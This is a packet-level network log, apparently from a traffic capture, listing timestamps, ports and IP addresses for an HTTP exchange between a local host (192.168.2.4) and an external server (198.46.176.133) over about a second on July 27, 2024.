Jul 27, 2024 13:30:02.874185085 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.874212027 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.874227047 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.874242067 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.874358892 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.874360085 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.874381065 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.874450922 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.874466896 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.874481916 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.874509096 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.874543905 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.874840021 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.874857903 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.874872923 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.874907970 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.875088930 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.875117064 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.875132084 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.875139952 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.875148058 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.875164032 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.875175953 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.875180006 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.875199080 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.875206947 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.875216007 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.875232935 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.875253916 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.875279903 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.876172066 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.876188993 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.876203060 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.876218081 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.876234055 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.876246929 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.876249075 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.876266956 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.876275063 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.876282930 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.876292944 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.876297951 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.876317024 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.876338959 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.877207994 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877227068 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877240896 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877254963 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877271891 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877285957 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877294064 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.877301931 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877317905 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877327919 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.877338886 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877382040 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.877743959 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877759933 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877774954 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877790928 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877793074 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.877809048 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877825022 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877832890 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.877841949 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877860069 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877866983 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.877882957 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877893925 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.877902985 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.877926111 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.878585100 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.878602028 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.878616095 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.878633976 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.878655910 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.878691912 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.878715992 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.878732920 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.878747940 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.878757954 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.878763914 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.878779888 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.878794909 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.878797054 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.878834963 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.879498959 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.879515886 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.879523993 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.879548073 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.879563093 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.879564047 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.879579067 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.879595041 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.879610062 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.879616022 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.879626989 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.879641056 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.879650116 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.879672050 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.880527973 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.880544901 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.880552053 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.880577087 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.880590916 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.880594015 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.880606890 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.880621910 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.880639076 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.880644083 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.880654097 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.880670071 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.880681992 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.880703926 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.881407976 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.881426096 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.881450891 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.881450891 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.881469011 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.881484985 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.881488085 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.881500959 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.881516933 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.881521940 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.881531954 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.881575108 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.882827044 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.882882118 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.882904053 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.882920980 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.882961035 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.883089066 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.883105040 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.883121014 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.883147955 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.883315086 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.883330107 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.883352995 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.883362055 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.883371115 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.883385897 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.883394957 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.883403063 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.883426905 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.883749008 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.883765936 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.883805990 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.913371086 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.913408041 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.913424969 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.913443089 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.913446903 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.913479090 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.913876057 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.913922071 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.914010048 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.914026022 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.914062977 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.914091110 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.963794947 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.967396021 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.967441082 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.967457056 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.967525005 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.967591047 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.968077898 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968094110 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968108892 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968115091 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.968125105 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968137026 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.968142033 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968158007 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968166113 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.968198061 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.968233109 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968246937 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968261003 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968276978 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968291044 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968298912 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.968307018 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968321085 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.968323946 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968353987 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.968952894 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968970060 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968985081 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.968998909 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969001055 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.969014883 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969029903 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969033003 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.969047070 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969059944 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.969084024 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.969567060 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969584942 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969599962 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969614983 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969629049 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969635963 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.969649076 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969656944 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.969665051 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969682932 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969696999 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969712973 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969719887 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.969729900 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.969758987 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.970508099 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.970525980 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.970541000 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.970556021 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.970556974 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.970571995 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.970587969 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.970588923 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.970603943 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.970618963 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.970621109 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.970633984 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.970649004 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.970655918 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.970679998 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.971431971 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.971448898 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.971463919 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.971477032 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.971477985 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.971493959 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.971509933 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.971510887 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.971524954 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.971538067 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.971543074 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.971558094 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.971570015 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.971574068 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.971601963 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.972363949 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.972382069 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.972398996 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.972413063 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.972415924 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.972434044 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.972444057 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.972450972 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.972466946 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.972500086 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.972500086 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.972505093 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.972522020 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.972537041 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.972563982 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.973290920 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.973308086 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.973323107 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.973334074 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.973339081 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.973354101 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.973365068 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.973371029 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.973386049 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.973397017 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.973402023 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.973417997 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.973431110 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.973433971 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.973459005 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.974128962 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.974144936 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.974188089 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.974220991 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.974246025 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.974261999 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.974267960 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.974278927 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.974294901 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.974306107 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.974309921 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.974327087 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.974339962 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.974342108 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.974358082 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.974371910 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.974387884 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.974390030 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.974397898 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.974404097 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.974435091 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.988538980 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.988576889 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.988593102 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.988595009 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.988634109 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.988765001 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.988780975 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.988796949 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.988811970 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.988826036 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.988854885 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.989032030 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.989048004 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.989063025 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.989078999 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.989104033 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.989135027 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.989366055 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.989382982 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.989398956 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.989423990 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.006464958 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.006498098 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.006515026 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.006583929 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.006608963 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.006647110 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.006664038 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.006679058 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.006695032 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.006697893 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.006755114 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.060460091 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.060517073 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.060534000 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.060566902 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.060647964 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.060663939 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.060679913 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.060691118 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.060695887 CEST	80	49730	198.46.176.133	192.168.2.4
